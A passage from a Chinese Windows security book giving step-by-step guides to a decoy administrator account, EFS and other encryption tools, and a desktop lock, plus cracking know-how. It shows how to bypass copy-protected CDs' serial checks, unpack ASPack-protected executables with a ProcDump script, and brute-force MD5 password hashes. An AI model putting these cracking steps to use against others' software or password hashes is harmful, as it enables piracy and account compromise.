另建一个"Administrator"的陷阱账户，不赋予任何权限，并为之加上一个超过10位的超级复杂密码，再对该账户启用审核，这就会使一些黑客徒劳。具体的设置方法如下。

步骤1：在如图4-115所示的用户列表空白处右击，在弹出菜单中选择【新用户】选项，即可打开【新用户】对话框。

图　4-115　选择新用户

步骤2：在其中根据提示依次输入“用户名”、“全名”和“描述”等信息，其中“描述”输入“管理员”，而密码则应输入强度比较大的，如16位密码。选中“用户不能更改密码”复选框，可以防止密码被恶意修改，如图4-116所示。在设置完毕之后，单击【创建】按钮，即可成功创建一个名为"Administrator"的账户。

图　4-116　【新用户】对话框

此时的这个账户还不是一个标准“陷阱”式账户，要想使其真正起到陷阱作用，还需要将这个账户加入到Guests组中，让其只能拥有普通账户的权限才行。具体的操作步骤如下。

步骤1：右击刚才建立的"Administrator"账户，在弹出菜单中选择【属性】选项，即可打开该账户的【属性】对话框，如图4-117所示。

图　4-117　“隶属于”选项卡

步骤2：在“隶属于”选项卡中可以看到刚创建的"Administrator"账户隶属于"Users"组，单击下方的【添加】按钮，即可打开【选择组】对话框，如图4-118所示。

图　4-118　【选择组】对话框

步骤3：单击【高级】按钮，即可展开选择组到具有搜索功能的界面。单击【立即查找】按钮，即可看到系统中的所有的用户组，在其中选择“Guests组”选项，如图4-119所示。

图　4-119　立即查找

步骤4：单击【确定】按钮，即可返回【选择组】对话框，在其中可以看到“输入对象名称来选择”列表中已经有了“Guests组”，如图4-120所示。单击【确定】按钮，即可返回到该账户的【属性】对话框。

图　4-120　存在“Guests组”

步骤5：在【属性】对话框的“隶属于”选项卡中选择“Users组”选项，如图4-121所示。单击【删除】按钮将其删除，一个具有陷阱效果的"Administrator"账户就创建成功了。

图　4-121　选择“Users组”

一些高水平的黑客可能会从本地或Terminal Service的登录界面中看到用户名，然后去猜测密码，这样一来，刚才设置的陷阱式账户就没有作用了，为了更好地使其发挥作用，还应该进行如下的禁止显示登录的用户名的设置。具体的操作步骤如下。

步骤1：选择【开始】→【设置】→【控制面板】→【管理工具】→【本地安全策略】选项，即可打开【本地安全设置】窗口，如图4-122所示。

图　4-122　【本地安全设置】窗口

步骤2：展开【本地策略】→【安全选项】选项，在右侧双击“交互式登录：不显示上次登录的用户名”选项，如图4-123所示。

图　4-123　安全选项

步骤3：在【交互式登录：不显示上次登录的用户名】对话框中选择“已启用”单选项，如图4-124所示。单击【确定】按钮，针对"Administrator"账户进行欺骗的陷阱账户就完全创建成功了。

图　4-124　交互式登录对话框

第5章
加密与解密工具

重点提示

♂NTFS文件系统加密数据

♂光盘的加密文件与解密技术

♂用“私人磁盘”隐藏大文件

♂使用Private Pix为多媒体文件加密

♂用ASPack对EXE文件进行加密

♂软件破解实用工具

♂给系统桌面加把超级锁

♂系统全面加密PC Security

本章精粹：

本章主要从加密与解密两个方面讲述加密在计算机安全中的应用与技巧。主要包括：NTFS文件系统加密数据、光盘的加密文件与解密技术、使用Private Pix为多媒体文件加密、给系统桌面加把超级锁、系统全面加密PC Security和完全解除网游外挂等。

数据的解密技术和加密技术是矛与盾的关系，它们是在相互斗争中发展起来的，永远没有不可破解的加密技术。然而，一般的解密技术总是滞后于加密技术，也就是说，一般的解密技术总是针对某一类或相关加密技术而产生。

第40招　NTFS文件系统加密数据

Windows 2000/XP提供了内置的加密文件系统（Encrypting Files System，简称EFS）。EFS文件系统不仅可以阻止入侵者对文件或文件夹对象的访问，而且还保持了操作的简捷性。加密文件系统通过为指定NTFS文件与文件夹加密数据，从而确保用户在本地计算机中安全存储重要数据。由于EFS与文件集成，因此对计算机中重要数据的安全保护十分有益。

1.加密操作

利用Windows 2000/XP资源管理器选中待设置要加密属性的文件或文件夹（如文件夹为“新建文件夹”）。对某文件进行加密的具体操作步骤如下。

步骤1：在这个文件夹上右击，从快捷菜单中选择“属性”菜单项，即可打开【新建文件夹属性】对话框，如图5-1所示。

图　5-1　【新建文件夹属性】对话框

步骤2：单击“常规”选项卡中的【高级】按钮，即可打开【高级属性】对话框，在其中选择用于该文件夹的设置，如图5-2所示。勾选“压缩或加密属性”选项区中的“加密内容以便保护数据”复选框，单击【确定】按钮，即可完成文件或文件夹的加密。

图　5-2　【高级属性】对话框

2.解密操作

利用Windows 2000/XP资源管理器选中设置了加密属性的文件或文件夹（仍然以刚才加密的文件夹为例）。具体的操作步骤如下。

步骤1：找到刚才加密的文件夹并右击，从快捷菜单中选择“属性”菜单项，即可打开【新建文件夹属性】对话框。

步骤2：单击“常规”选项卡中的【高级】按钮，即可打开【高级属性】对话框，清除“压缩或加密属性”选项区中“加密内容以便保护数据”复选框的“√”。

当然进行加密/解密操作时，也应注意如下几点要求。

1）不能加密或解密FAT文件系统中的文件与文件夹，而只能在NTFS格式的磁盘分区上进行此操作。

2）加密数据只有存储在本地磁盘中才会被加密，而当其在网络上传输时，则不会加密。

3）已经加密文件与普通文件相同，也可以进行复制、移动以及重命名等操作，但是其操作方式可能会影响加密文件的加密状态。

3.复制加密文件

在Windows 2000/XP资源管理器中选中待复制的加密文件，右击该加密文件并从快捷菜单中选择“复制”菜单项。切换到加密文件复制的目标位置并右击，从快捷菜单中选择“粘贴”菜单项，即可完成操作。可以看出，复制加密文件同复制普通文件并没有不同。只是进行复制的操作者必须是被授权用户。别外，加密文件被复制后的副本文件，也是被加密的。

4.移动加密文件

在Windows 2000/XP资源管理器中选中待复制的加密文件，右击该加密文件并从快捷菜单中选择“剪切”菜单项，再切换到加密文件待移动的目标位置并右击，从快捷菜单中选择“粘贴”菜单项即可完成。

注意　如果把加密文件复制或移动到FAT文件系统中时，文件自动解密，所以建议对加密文件进行复制或移动后应重新进行加密。

如果忘记了密码，可以将安装时制作的钥匙盘放进软驱中，随便输入密码，输入第三次后即可进入程序，再选择【Functions】→【Change Your Password】菜单项即可改变密码。也可选择"Creat a New Account"菜单项为自己或他人建立一个新加密账号，最多设立五个，每个账号都有一个密码，只有密码设立人才可看到自己账号内的加密文件，其他人看不到。

当安装Encrypted Magic Folders后，磁盘检查程序"Chkdisk"就不能运行，因为它能删除所有隐藏的文件和密码数。在隐藏文件夹的工具中，Folder Guard也是一个不错的选择，感兴趣的朋友可以自己试一试，这里不再赘述。

第41招　光盘的加密与解密技术

按照传统的方式将资料刻录在光盘上，备份一些普通的资料还可以，而对于备份一些重要数据就存在危险了，里面的资料很有可能被其他人非法获取。由于光盘存取数据和材料的特殊性，对光盘进行加密也成了一个问题。

1.使用CD-Protector软件加密光盘

CD-Protector是一个简单易用的光碟加密软件，被它加密后，即使把所有文件复制到硬盘上仍然不能使用。CD-Protector加密时所使用到的相关软件有Nero，加密原理是在可执行文件上加一个外壳，该外壳会判断所运行光碟上有没有加密后所产生的相对应的音频轨道，如果有则运行，没有的话则会拒绝运行。CD-Protector加密时不用修改Cue文件，不用交替写入坏轨道，由于使用了Nero刻录软件，因此对刻录机要求不高。

CD-Protector加密的具体的操作步骤如下。

步骤1：双击"CD-Protector"应用程序，即可打开CD-Protector主窗口，如图5-3所示。在"File to encrypt"文本框中输入要加密的可执行文件名。在"Custom Message"文本框中输入出错时的提示信息（可自行选择填写，也可不填）；在"Phantom Trax'directory"文本框中输入文件输出时目录；在"Encryption Key"文本框中输入两位十六进制的数字，这里可以输入"00-FF"。不同的十六进制数字代表不同的特殊加密轨道，共有256种。

图　5-3　CD-Protector主窗口

步骤2：在设置完成之后，即可看到【ACCEPT】按钮变成了红色，如图5-4所示。单击红色的【ACCEPT】按钮，即可开始加密文件。加密完成之后，单击【OK】按钮即可。

图　5-4　设置加密文件

步骤3：运行Nero主程序，新建一个刻录音频光盘的任务。在【音频光碟】选项卡中取消勾选“在光碟上定稿光碟文字”复选框；在【CDA选项】选项卡中勾选“刻录前在硬盘上缓存音轨”复选框和“清除*.cda音轨末尾的静音”复选框；在【刻录】选项卡中勾选“写入”复选框，取消勾选“终结光碟”复选框和“光碟一次性”复选框。

步骤4：在全部设置完成后，单击【新建】按钮，就可以开始新建任务了。把用CD-Protector加密过的音频文件，拖放到刻录音轨的窗口。刻录完成后，还需要再执行一遍刻录设置，主要是为了用这个方法对同一个音频文件刻录两次。

步骤5：在Nero中再新建一个只读光盘的任务，在【多记录】选项卡中勾选“开记多记录光碟”复选项，其他选项可根据需要进行相应地设置。

步骤6：完成上述设置之后，单击【新建】按钮，把用CD-Protector加密的（除音频文件外）文件都拖放到数据刻录的窗口并开始刻录，刻录的选项和刻录音轨相同。

此时，就可以看到同一个音频文件再次刻录的结果是不同的。使用CD-Protector加密过的光盘放进光驱里，文件是可运行的，但复制到自己的硬盘时就不能运行了。CD-Protector加密的光盘是由两条音轨和一条数据轨道共同组成的，数据轨道中被加密的可执行文件，在运行时将会读取光盘上的音轨，只有相对应时才会继续运行。

2.破解加密光盘

如今市面上有很多加密光盘是以特殊形式刻录的，将它放入光驱后，就会出现一个软件的安装画面将要求输入序列号，如果序列号正确就会出现一个文件浏览窗口，错误则跳回桌面。如果用户从资源浏览器中所观看的光盘文件就是一些图片之类文件，想找的文件却怎么也看不到。这时就需要对光盘进行解密了，下面介绍几种常用的破解加密光盘方法：

（1）用UltraEdit等十六进制编辑器直接找到序列号

运行UltraEdit编辑器打开光盘根目录下的SETUP.EXE文件之后，选择【搜索】→【查找】菜单项，即可弹出【查找】对话框。在“查找什么”栏的“请输入序列号”文本框中输入序列号之后，勾选“查找ASCII字符”复选框，在“请输入序列号”后面显示的数字就是序列号了。

（2）用ISOBuster等光盘刻录软件直接浏览光盘上的隐藏文件

打开ISOBuster光盘刻录软件之后，选择加密盘所在的光驱，单击选择栏旁边的【刷新】按钮，即可开始读取光盘中的文件，这时会发现在左边的文件浏览框中多了一个文件夹，那里面就是要找的文件，可以直接运行和复制这些文件了。

（3）要用到虚拟光驱软件和十六进制编辑器

1）用虚拟光驱软件把加密光盘做成虚拟光盘文件，进行到1%时终止虚拟光驱程序运行。

2）用十六进制编辑器打开只进行了1%的光盘文件，在编辑窗口中查找任意看得见的文件夹或文件名，在该位置的上面或下面，就可以看到隐藏的文件夹或文件名了。

3）在MS-DOS模式下使用CD命令进行查看目录，再使用DIR命令就可以看到想要找的文件，并可以对其进行运行和复制了。

（4）利用File Monitor对付隐藏目录的加密光盘

File Monitor是纯“绿色”免费软件，可监视系统中指定文件运行状况，如指定文件打开了哪个文件，关闭了哪个文件，对哪个文件进行了数据读取等。通过它可以指定监控的文件有任何读、写、打开其它文件的操作都能被它监视下来，并提供完整的报告信息。使用它的这个功能可以来监视加密光盘中的文件运行情况，从而得到想要的东西。

第42招　用“私人磁盘”隐藏大文件

“私人磁盘”软件是一款极好的文件和文件夹加密保护工具，能够在各个硬盘分区中创建加密区域，并将加密区域虚拟成一个磁盘分区以供使用。该虚拟的磁盘分区和实际的磁盘分区完全一样。用户可以在其中存放文件资料，也可以将软件或游戏安装在里面。

1.“私人磁盘”的创建

“私人磁盘”为绿色软件，下载并解压后，直接双击即可进入主操作界面执行相应地操作，包括：创建、删除、打开、修改和关闭私人磁盘等操作。

创建“私人磁盘”的具体操作步骤如下。

步骤1：先运行私人磁盘程序，因为初始密码为空，所以无需输入密码，直接单击【确定】按钮即可进入，如图5-5所示。如果已经设置了密码则需要输入相应的密码，不然会出现出错提示，无法进入该系统。

图　5-5　运行私人磁盘程序

步骤2：进入后可以看到一个微型的主界面，如图5-6所示。在其中列出了现有的磁盘分区。单击标题栏的【变】按钮，可以切换到完整界面，如图5-7所示。

图　5-6　微型的主界面

图　5-7　完整的主界面

步骤3：和微型界面相比，完整界面多了“修改用户密码”和“操作选择”两大栏目。如果用户想修改用户密码，可以在“修改用户密码”栏目中完成操作。

步骤4：创建私人磁盘。先在私人磁盘文件列表框中单击选择准备在哪个分区上创建私人磁盘（一个分区上只能创建一个，如果创建多个会出现出错提示），单击“操作选择”栏中的【创建私人磁盘】按钮。

步骤5：在很短的时间内，该软件系统就会完成私人磁盘的创建工作。在刚才选定的磁盘分区的卷标右侧会出现一个“☆”形状的标志，如图5-8所示。

图　5-8　创建私人磁盘

注意　由于私人磁盘空间是从各个磁盘分区中的剩余空间中分离出来，私人磁盘的个数和大小受实际分区和所剩空间的限制。

步骤6：选中要打开的私人磁盘，单击“操作选择”栏中的【打开私人磁盘】按钮或打开“我的电脑”，就会发现多出了一个磁盘分区，该磁盘分区I的卷标和源磁盘分区的卷标一致，如图5-9所示。

图　5-9　私人磁盘I盘

步骤7：私人磁盘创建完成后，如果需要使用它，可在“我的电脑”中像普通磁盘一样打开它；也可以先在“私人磁盘文件列表”中对应的位置单击，再单击“打开私人磁盘”按键；或双击相应盘符，程序就会打开对应的私人磁盘文件，并虚拟一个磁盘分区供使用，文件操作和普通磁盘相同，只是不能进行“格式化操作”。

步骤8：为了让该私人磁盘更符合需要，可对它进行配置。单击【私人磁盘设置】按钮，即可弹出【私人磁盘设置】对话框，如图5-10所示。

图　5-10　【私人磁盘设置】对话框

步骤9：在“盘符设置”部分可将私人磁盘的盘符设置为使用某个固定盘符，如："U"；选择该项则每次打开不同分区的私人磁盘文件时都使用指定盘符，即同一时刻只能打开一个私人磁盘。如果要在私人磁盘中安装软件或游戏，则可使用固定盘符。或由系统自动分配，以同时打开多个私人磁盘文件。打开时将由程序自动分配私人磁盘盘符。

步骤10：如果将“私人磁盘密码设置”设置为“允许各个私人磁盘分别设置密码”，则在创建私人磁盘时会提示输入密码。如果输入密码为空或选择取消，则视为不使用密码保护。设置密码保护的私人磁盘在打开和删除时也都会提示输入密码。

这样，在登录私人磁盘软件的时候提示输入用户密码，而具体使用文件又需要用到磁盘密码，这样该私人资料就有双重防护了，并且可以随时使用“修改磁盘密码”来修改选定的私人磁盘文件的密码。同样，如果所设置的新密码为空，则视为取消密码保护。

2.“私人磁盘”的删除

如果要删除创建的私人磁盘，方法正好和创建相反。具体的操作步骤如下。

步骤1：在主界面中选择将删除的私人磁盘，单击操作选择部分的【删除私人磁盘】按钮，即可弹出“确认”提示框，提示是否删除，如图5-11所示。

图　5-11　“确认”提示框

步骤2：如果确定要删除则单击【是】按钮。这个操作会删除所有存在私人磁盘里的文件，所以一定要谨慎。将私人磁盘删除后打开“我的电脑”时，即可看到所创建的私人磁盘已经消失。

步骤3：在私人磁盘中的所有操作都与普通分区中的操作相同。删除私人磁盘中的文件同样要经过“回收站”。

第43招　使用Private Pix为多媒体文件加密

Private Pix是一款功能强大的多媒体加密工具。也支持对音频文件或视频文件进行加密，为用户提供了更全面的功能。Private Pix提供了简单易用的界面来对图片进行管理、加密和浏览。让用户在查看图片文件的同时还能对图片进行加密，并且具有两种类型的加密方式。

使用Private Pix对文件进行加密的具体操作步骤如下。

步骤1：运行Private Pix软件弹出"Enter Password"界面，在"Password"文本框中输入相应的口令。由于是第一次使用，这里应输入默认口令"private"，如图5-12所示。

图　5-12　"Enter Password"界面

步骤2：在密码填写正确无误后，单击【OK】按钮，即可打开【Private Pix(tm)Registration】对话框，在其中查看软件信息并填写注册内容，如图5-13所示。若无法获取注册码，则不能完成相应地注册时，但是可免费试用15天。

图　5-13　【Private Pix（tm）Registration】对话框

步骤3：根据需要，这里不进行软件注册操作，则单击【Private Pix(tm)Registration】对话框下方的【Run Private Pix in DEMO mode】按钮，即可进入【Private Pix】主窗口，如图5-14所示。Private Pix加密工具主要由显示窗口和控制窗口两部分组成。

图　5-14　"Private Pix"的主窗口

步骤4：在左边显示窗口的资源管理器中选择要加密的多媒体文件。如果不设置密钥，则使用默认密钥。因为这里要设置密钥，所以选择【Settings】选项卡，如图5-15所示。

图　5-15　【Settings】选项卡

步骤5：在"Encryption Settings"栏目中，从"Type"下拉列表中选择一种文件加密的类型并单击【Change Encryption Key】按钮，即可弹出【Enter Password】对话框，在其中输入需要修改的口令，如图5-16所示。

图　5-16　【Enter Password】对话框

步骤6：单击【OK】按钮，即可弹出【Encryption Key】对话框，在其中输入需要加密图片的密钥，如图5-17所示。单击【OK】按钮，即可弹出"Privp"消息框，提示"key has been successfully changed"信息，如图5-18所示。

图　5-17　【Encryption Key】对话框

图　5-18　"Privp"消息框

步骤7：若想改变程序密码，则在"Program Settings"栏目中单击【Change Password】按钮，即可弹出【Change Password】对话框，在其中输入旧的口令以及需要修改的新口令，如图5-19所示。

图　5-19　【Change Password】对话框

步骤8：单击【OK】按钮，即可弹出"Password Change"消息框，提示"Password changed successfully"信息。返回【Private Pix】主窗口，单击工具栏的加密按钮或按"Ctrl+E"快捷键之后，所选的文件就被加密了，如图5-20所示。

图　5-20　"Password Change"消息框

解密方法与加密方法类似。用户需要先选择要进行解密的文件，如果要解密的文件与当前密钥不一样，则先修改当前的密钥或单击工具栏上的解密按钮或按"Ctrl+D"快捷键，这样，被加密的文件就可以恢复原状了。

第44招　用ASPack对EXE文件进行加密

对EXE文件进行加密可以使用一款由俄国人编写的Aspack软件，该软件能够对EXE文件进行压缩，从而达到隐藏EXE文件原始信息的目的。Aspack运行速度相当快，而且稳定，能够将EXE文件压缩到原有的20%～60%。具体的操作步骤如下。

步骤1：下载并解压"Aspack"文件，双击"Aspack.exe"应用程序图标，即可打开"Aspack"主操作界面，如图5-21所示。单击【Open】按钮，即可打开【Select file to compress】对话框，在其中选择要压缩的EXE文件，如图5-22所示。

图　5-21　"Aspack"主界面

图　5-22　【Select file to compress】对话框

步骤2：单击【打开】按钮，Aspack就开始压缩了，同时显示压缩的进度，如图5-23所示。在压缩完成之后，将会显示压缩比例，如图5-24所示。

图　5-23　显示Aspack的压缩过程

图　5-24　Aspack压缩完成

步骤3：在压缩完成之后，单击【Test it!】按钮，即可测试压缩后的程序执行是否正确。如果正确则会出现【Erase Bak】按钮和【Restore】按钮，用以删除原有文件和恢复原有文件，如图5-25所示。

图　5-25　Aspack测试结束

第45招　“加密精灵”加密工具

加密精灵是一款加密速度极快且功能强大的国产加密工具，可用于加密任何格式的文件，几乎集成了当前所有加密工具的功能。

1.对单个文件进行加密解密

利用加密精灵可以加密任何格式的文件，并且可以同时加密多个文件，这里首先介绍如何对单个文件进行加密解密。其加密的具体步骤如下。

步骤1：运行加密精灵应用程序，即可弹出“加密精灵”的主窗口，如图5-26所示。

图　5-26　“加密精灵”主窗口

步骤2：在加密精灵主窗口中选择要加密的文件。单击【加密】按钮，即可弹出【加密】对话框，在“输入密码”文本框中输入密码，密码的范围在8～128个字符，如图5-27所示。

图　5-27　【加密】对话框

步骤3：在“加密报告对话框”选项卡中默认选择“保存到原文件目录”选项，在“加密后彻底删除原文件”文本框右边选择【YES】选项，如图5-28所示。单击【确定】按钮后，就可以开始加密操作了。

图　5-28　加密报告对话框

步骤4：在加密结束之后，在程序主窗口的“事件记录”中，即可看到“加密/解密记录”的详细信息，如图5-29所示。

图　5-29　文件加密后的事件记录信息

解密的过程与加密过程相似，在文件列表里选择要解密的文件"myprivate.ces"之后，单击工具栏上的【解密】按钮，即可打开【解密】对话框，在“输入密码”文本框中输入密码，如图5-30所示。

图　5-30　【解密】对话框

2.同时加密多个文件夹的所有文件

某些时候，可能需要保护多个文件夹中的所有文件，如果逐个对它们进行加密，不仅浪费时间，而且也很不便于管理。

下面介绍如何对不同文件夹中的所有文件进行加密，加密结果将直接生成可自解密的文件。加密的具体操作步骤如下。

步骤1：在加密精灵主窗口的文件列表中同时选中几个不同文件夹。单击工具栏上【加密】按钮，即可弹出【加密】对话框，在“输入密码”文本框中输入加密的密码。

步骤2：在“加密选项对话框”选项卡中勾选“不隐藏文件信息”复选框和“保存文件路径信息”复选框，如图5-31所示。选择【加密报告对话框】选项卡，在其中输入目标文件名，这里输入"MyFolder123.exe"。

图　5-31　加密选项对话框选项卡

步骤3：单击【确定】按钮，待加密成功之后，在【事件记录】选项卡中将会给出结束提示，同时在根目录D:\中可以找到自解密文件"MyFolder123"。

在没有加密精灵的情况下，还可以实现对自解密文件进行解密，解密的过程十分简单，具体操作步骤如下。

步骤1：打开Windows资源管理器窗口之后，在其中找到要解密的"MyFolder123"自解密文件。双击自解密文件"MyFolder123"，即可弹出解密密码输入对话框，如图5-32所示。

图　5-32　“密码和选项”选项卡

步骤2：单击解密密码输入对话框右侧的【解密全部】按钮之后，选择【解密报告对话框】选项卡，如图5-33所示。

图　5-33　加密报告对话框选项

步骤3：将“使用原文件路径”选项选择为【是】按钮之后，单击【确定】按钮，就可以开始解密了。如果输入的密码是正确的，文件将会被成功解密。

第46招　软件破解实用工具

在加密解密的实现过程中需要用到许多软件破解实用工具，如编辑工具、监视工具以及脱壳工具等，灵活地运用这些工具，往往可以达到事半功倍的效果。

1.十六进制编辑器HexWorkshop

HexWorkshop十六进制编辑器可方便地进行十六进制编辑、插入、填充、删除、剪切、复制和粘贴工作，配合查找、替换、比较以及计算校验等命令，会使工作更加快捷。它速度快，算法精确，并附带有计算器和转换器工具。

HexWorkshop具体操作步骤如下。

步骤1：运行"HexWorkshop"应用程序图标，即可进入"HexWorkshop"的主窗口，选择【文件】→【打开】菜单项以打开目标文件（仍以KuGoo为例），如图5-34所示，左边是文件偏移地址区（默认是十六进制），中间是十六进制数据代码区，右边是文本字符代码区。

图　5-34　HexWorkshop主窗口

步骤2：在主窗口中修改十六进制代码或ASCII代码。假设需要修改的代码距离文件起始点的偏移地址为1125，选择【编辑】→【转到】菜单项或按"Ctrl+G"组合键，即可打开【转到】对话框。

步骤3：在【转到】对话框中直接输入1125，并选择“文件起始”单选项和“十六进制”单选项，当找到指定偏移量时，即可用十六进制或ASCII码形式来修改指定的数据，如图5-35所示。

图　5-35　【转到】对话框

注意　在HexWorkshop工具的十六进制中是按文件偏移地址（Offset）进行显示，而在W32Dasm中和IDA Pro中则是按虚拟地址进行显示。

步骤4：如果建立一个简单的十六进制新文件，则可选择【文件】→【新建】菜单项来建立一个新文件。选择【编辑】→【插入】菜单项，即可打开【插入字节】对话框，其中的第一行是需要增加文件的字节数，第二行是默认填充的数字，如图5-36所示。

图　5-36　【Insert Bytes】对话框

步骤5：假设在这里需要加入0x35个字节的数据（填充值默认为0），单击【确定】按钮，就可以有一个0x35个字节的文件出现了，此时即可直接对此文件进行编辑。如果还想要删除其中的一些东西，则只需在将其选中之后，直接按【Delete】键即可。

步骤6：有时候还需要按一定的格式复制HexWorkshop所显示的十六进制数据，HexWorkshop支持C语言格式、Java语言格式、HTML格式、文本格式、RTF格式等。此时只要选中一部分十六进制数据，选择【编辑】→【复制为】→【C源代码】菜单项，即可将所选数据转换成C语言格式，如图5-37所示。

图　5-37　选择相应的菜单项

步骤7：如果需要对两个相似的文件进行比较，以判断文件是否被修改或修改了何处，则可以选择【工具】→【比较】→【比较文件】菜单项来打开比较工具，在【来源】菜单和【目标】菜单中打开想要比较的两个文件；也可以单击【高级（A）】按钮，在其中设置进行比较的详细范围，单击【确定】按钮，即可开始比较，如图5-38所示。

图　5-38　【比较】对话框

步骤8：在比较结束之后，将会出现比较结果，如图5-39所示。此时单击右下角的【替换】选项，即可在主窗口显示被替换的具体字节，如图5-40所示。

图　5-39　显示比较结果

图　5-40　显示被替换的具体字节

2.注册表监视器RegShot

RegShot是一款小巧的注册表静态比较工具，可快速发现注册表地变化，甚至通过扫描硬盘来掌握硬盘上某些文件夹（或是整个硬盘）的改变。

RegShot的具体使用方法如下。

步骤1：下载并解压"RegShot"压缩文件，双击"RegShot.exe"应用程序图标，即可进入"RegShot"主窗口，如图5-41所示。单击【快照（A）】按钮，就可以实现自动记录了。

图　5-41　RegShot主窗口

步骤2：待被监视对象运行完毕之后，单击【快照(B)】按钮，RegShot即可自动进行记录。

步骤3：单击【比较】按钮之后，RegShot将自动分析注册表变化，并输出比较结果，如图5-42所示。

图　5-42　RegShot输出比较结果

3.脱壳工具Procdump

ProcDump是一款功能非常强大的通用脱壳工具，支持几十种加壳工具生成压缩加密软件，最大特点就是有一个脚本文件scipt.ini。另外，它还具有重建PE结构功能，区段编辑功能，未知类型壳的尝试脱壳功能等。对于一些新出的壳，为其编写的脚本也仍然可用。

具体的使用方法如下。

步骤1：下载并解压缩"ProcDump"文件夹，双击"ProcDump"应用程序图标，即可打开"ProcDump"主窗口，如图5-43所示。单击【Options】按钮，即可弹出【ProcDump32 Optinos】设置对话框，如图5-44所示。

图　5-43　ProcDump运行主窗口

图　5-44　ProcDump32选项设置对话框

步骤2：在设置完成之后，单击【OK】按钮，即可返回【ProcDump】主窗口。单击【Unpack】按钮，即可打开【Choose Unpacker】对话框，如图5-45所示。

图　5-45　选择解包器对话框

步骤3：在选择合适的解包器之后，单击【OK】按钮，即可打开【Choose Execut able】对话框，如图5-46所示。在其中选择要进行脱壳的软件，就可以对软件进行脱壳了。

图　5-46　选择可执行文件对话框

下面是用ProcDump脱ASPack壳的脚本scipt.ini扩展，具体的实现代码如下：

Pxx=Aspack(All Vetsion)(XX为十六进制)

[Aspack(All Vetsion)]

L1=OBJR

L2=LOOK EB,?

L3=JZ5

L4=QUIT

L5=BP

L6=WALK

L7=OBJR

L8=LOOK61,75

L9=BP

LA=STEP

OPTL1=00000000

OPTL2=01010001

OPTL3=01010001

OPTL4=00030000

OPTL5=00000000

在添加此代码到脚本中之后，再重新启动ProcDump软件，就可以脱掉目前为止所有ASPack软件加的壳了。

第47招　破解MD5加密实例

MD5（Message-digest Algorithm 5，信息-摘要算法）密码转换器主要是对数据进行MD5算法转换。ASP数据库几乎都是这样加密的，虽然解密比较困难，但通过强大的字典解密，效果不错，而且使用这个软件加密的密码很少有人能猜出来。随着MD5密码的流行，破解MD5的方法也是越来越多，下面从本地和网络两种方式来讲述MD5是如何实现暴力破解的。

1.本地破解MD5

现在破解MD5加密的软件有很多，下面将为大家介绍一款名叫“MD5加强破解工具”，这个工具功能很齐全，简单易学，很适合黑客初学者使用。

（1）单个MD5密码破解

使用MD5进行密码破解的具体操作步骤如下。

步骤1：下载并双击桌面上的"MD5"应用程序图标，即可打开"MD5"主窗口，如图5-47所示。

图　5-47　【MD5】主窗口

步骤2：在“密文设置”栏中选择“破解单个密文”单选项，在其后文本框中输入要破解的MD5密码（如"407de5e0d85a21d317de8def45fa331b"），在“字符设置”栏中勾选“小写字母”复选项，在“速度”栏中设置线程最大数，此参数值越高，破解所需时间就越短，随之消耗的计算机资源空间也就越大，如图5-48所示。

图　5-48　输入MD5密文

步骤3：在设置完毕后单击【开始】按钮，即可开始破解MD5密码，在右下角的列表框中即可看到破解的进度，如图5-49所示。待破解完成后，即可弹出【MD5完成提示】对话框，在右下角横向列表框中可以看到破解结果，如图5-50所示。

图　5-49　破解进度

图　5-50　破解结果

（2）多个MD5密码破解

多个MD5密码破解和单个破解的操作方法很相似。

具体的操作步骤如下。

步骤1：建立一个名为"md5.txt"的文本文件，用来存放需要破解的多个MD5密码，如图5-51所示。

图　5-51　"md5.txt"文本文件

步骤2：在"MD5"主窗口中选择“密文设置”栏目里的“破解多个密文”单选项，单击【设置】按钮，即可打开【MD5Crack Cryptog Seting】对话框，如图5-52所示。

图　5-52　【MD5Crack Cryptog Seting】对话框

步骤3：选择“从文件中读取”单选项，即可激活【浏览】按钮。再单击【浏览】按钮，即可打开【打开】对话框，在其中选择"md5.txt"文件，如图5-53所示。

图　5-53　【打开】对话框

步骤4：单击【打开】按钮，即可返回【MD5Crack Cryptog Seting】对话框，如图5-54所示。单击【确定】按钮，即可返回【MD5】主窗口。单击【开始】按钮，即可开始破解MD5密码，在右下角列表框中可看到破解的进度。

图　5-54　【MD5Crack Cryptog Seting】对话框

步骤5：待破解完成后，即可弹出【MD5完成提示】对话框，在右下角横向列表框中可以看到破解结果。

2.在线破解MD5

相对于本地密码破解，网上在线破解就容易得多了，现在也有很多能够在线破解MD5的网站（如"http://www.xmd5.org/"就是个很受欢迎的MD5在线破解网站）。

具体的操作步骤如下。

步骤1：打开"Internet Explorer"浏览器，在地址栏中输入"http://www.xmd5.org/"，按下回车键后，即可打开"XMD5"网站。将要破解的MD5密文（如"407de5e0d85a21d317de8de f45fa331b"）输入到输入框中，如图5-55所示。

图　5-55　输入MD5密文

步骤2：单击【给我转】按钮，即可开始破解密码。等待破解完成后，即可打开"md5 reverse"页面，在其中查看破解的结果，如图5-56所示。

图　5-56　破解后的结果

3.MD5密码转换器应用实战

使用“MD5密码转换器”可以很方便地将一组字符用MD5方式完成加密，具体的操作方法为：先打开MD5密码转换器，如图5-57所示。在“MD5原码”文本框中输入要转换的字符，单击【字典转换】按钮，加密后的密文将显示在“加密密码”文本框中。

图　5-57　MD5密码转换器

当然，使用“MD5密码转换器”可以很方便地破解密文，具体的操作方法为：使用MD5密码转换器进行解密时，将要破解的密文直接复制到“加密密码”文本框中，单击【字典还原】按钮，还原后的密码将出现在“MD5原码”文本框中。

由于MD5采用的是不可逆算法，字典还原不可能还原所有密文，当字典中没有要还原密文对应的密码时，“MD5密码转换器”将会要求启动暴力破解程序。

第48招　给系统桌面加把超级锁

为了避免别人趁机动用自己的计算机，用户可使用桌面锁软件SecureIt Pro来解决这个问题，该软件可以让任何人（包括自己）都无法在不输入正确的密码情况下使用计算机。

1.生成后门口令

在开始使用SecureIt Pro前，因为软件为了防止用户忘记了进入口令，需要先填一些基本信息，并会根据这些信息自动生成一个后门口令，用于必要时登录使用。

具体的操作步骤如下。

步骤1：下载并安装"SecureIt Pro"软件，双击桌面上的"SecureIt Pro"应用程序图标，即可打开【SecureIt Pro-End User's License Agreement】对话框，在其中认真阅读SecureIt Pro软件的使用许可协议，如图5-58所示。

图　5-58　【SecureIt Pro-End User's License Agreement】对话框

步骤2：勾选"Yes, I agree to be bound by the terms of the license Agreement"单选项，单击【Continue】按钮，即可打开【SecureIt Pro First Time Initialization-1】对话框，在其中查看首次初始化的基本信息，如图5-59所示。

图　5-59　【SecureIt Pro First Time Initialization-1】对话框

步骤3：单击【Next】按钮，即可打开【SecureIt Pro First Time Initialization-2】对话框，在其中填写注册信息，如图5-60所示。

图　5-60　【SecureIt Pro First Time Initialization-2】对话框

